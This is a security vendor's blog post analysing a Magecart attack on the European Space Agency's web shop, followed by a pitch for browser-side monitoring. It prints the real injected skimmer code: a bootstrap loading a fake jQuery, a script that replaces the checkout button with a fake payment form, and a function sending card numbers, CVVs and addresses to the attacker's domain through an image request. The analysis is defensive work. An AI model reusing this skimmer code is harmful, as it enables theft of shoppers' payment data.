It's not often that two of my interests align so well, but we're talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...
Mage-who?
I've talked about Magecart a lot, and they've posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at Report URI, we have a dedicated Solutions page for Magecart with details on how we can help combat this problem if you'd like more information, and our Case Studies page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.
The European Space Agency
Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don't always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.
<script>
if (document.location.href.includes("checkout")){
var jqScript = document.createElement('script');
jqScript.setAttribute('src','https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js');
document.addEventListener("DOMContentLoaded", function(){
document.body.appendChild(jqScript);
});
}
</script>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes checkout. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive link to the ESA Space Shop that contains the above injection in the page.
Looking at the payload, you can see that once it triggers on the checkout page, it's acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.
https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.jsThis payload, whilst a little larger, is still painfully simple and has some very clear objectives.
var espaceStripeHtml = "*snip*";
var cookieName = "6b2ad00bbd228ca0f23879b1e050f03f";
function setCustomCookie(){
localStorage.setItem("customCookie", cookieName);
}
function isCustomCookieSet(){
if (localStorage.getItem("customCookie")){
return true;
}
else{
return false;
}
}
if (!isCustomCookieSet()){
setInterval(function(){
if (jQuery("#payment-confirmation-true").length === 0 && jQuery("#stripe_stripe_checkout").length !== 0){
var paymentButtonOrig = jQuery("#stripe_stripe_checkout").find("button[type='submit']")[0];
jQuery(paymentButtonOrig).attr("id", "payment-confirmation");
var paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();
jQuery(paymentButtonClone).attr("id", "payment-confirmation-true");
jQuery(paymentButtonClone).attr("type", "button");
jQuery(paymentButtonClone).removeAttr("data-bind");
jQuery(paymentButtonClone).removeAttr("disabled");
jQuery(paymentButtonClone).insertBefore(paymentButtonOrig);
jQuery("#payment-confirmation").hide();
jQuery(paymentButtonClone).on("click", function(){
//parse address
var checkoutCfg = window.checkoutConfig;
var addressObject = checkoutCfg['shippingAddressFromData'];
if (addressObject !== undefined){
var fName = addressObject['firstname'];
var lName = addressObject['lastname'];
var address = addressObject['street'][0];
var country = addressObject['country_id'];
var zip = addressObject['postcode'];
var city = addressObject['city'];
var state = addressObject['region'];
var phone = addressObject['telephone'];
}
else{
var fName = jQuery("input[name='firstname']").val();
var lName = jQuery("input[name='lastname']").val();
var address = jQuery("input[name='street[0]']").val();
var country = jQuery("select[name='country_id'] option:selected").val();
var zip = jQuery("input[name='postcode']").val();
var city = jQuery("input[name='city']").val();
var state = jQuery("select[name='region_id'] option:selected").attr("data-title");
var phone = jQuery("input[name='telephone']").val();
}
var price = parseFloat(checkoutCfg['totalsData']['base_grand_total']).toFixed(2);
if (fName !== "" && lName !== ""){
var espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{GRAND_TOTAL}", price);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{EMAIL}", checkoutCfg['validatedEmailValue']);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{fName}", fName);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{lName}", lName);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{address}", address);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{country}", country);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{state}", state);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{zip}", zip);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{city}", city);
espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll("{phone}", phone);
document.write(espaceStripeHtmlClear);
}
else{
jQuery("#payment-confirmation").click();
}
});
}
}, 100);
}
}I've snipped the content of the first variable as it's massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.
- The first thing the attackers do is check if they have already stolen the payment card details for this user... The
setCustomCookie()function, which doesn't actually set a cookie but writes tolocalStorage, is called later when the attack succeeds and is checked withisCustomCookieSet(). I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times. - If the payment card details for this user have not been stolen, the script uses
setInterval()to create a fast-polling loop to detect the presence of the Stripe payment container on the page. - Once the payment container has loaded, the real 'checkout' button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker's button instead.
- Clicking the attacker's button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can't record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow.
- The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server.
You can view the full Magecart payload on this paste here, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference here. PasteBin won't allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function.
function makePayment(){
setCustomCookie();
var ccNum = ccnumE.value.replaceAll(" ", "");
var expM = parseInt(ccexpE.value.split(' / ')[0]);
var expY = parseInt(ccexpE.value.split(' / ')[1]);
var cvv = parseInt(cccvvE.value);
var resultString = ccNum ";" expM ";" expY ";" cvv ";" FName ";" LName ";" Address ";" Country ";" Zip ";" State ";" city ";" phone ";" shop;
var resultImg = document.createElement("img");
resultImg.src = "https://esaspaceshop.pics/redirect-non-site.php?datasend=" btoa(resultString);
resultImg.hidden = true;
document.body.appendChild(resultImg);
//show error
alert("Card number is incomplete, please try again");
window.location.reload();
}The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They're then exfiltrating that data to a drop server located here:
https://esaspaceshop.pics/redirect-non-site.php?datasend=Finally, just to improve the effectiveness of their attack, they're showing an error message to the user that says Card number is incomplete, please try again, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...
Where we could have stopped this attack
In scenarios like these, the first thing that often gets suggested to me is that if the website didn't have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that's a completely impractical approach.
We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of Defence In Depth even exists. I'm not saying that solutions like Report URI are the primary line of defence against attacks like these, we're not, and we shouldn't be. What I'm saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong.
Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the esaspaceshop.pics domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we're the ideal last line of defence.
esaspaceshop.pics
The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.
Because this was a 'throwaway' domain for the attackers that's only useful in this particular attack, they don't tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site.
You can test it out here: https://esaspaceshop.pics
In related news, we also own the domain used in the Ticketmaster Magecart Attack, webfotce.me, which you can test here https://webfotce.me/
The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of Report URI along with a free trial, no commitment, and no strings attached: [email protected]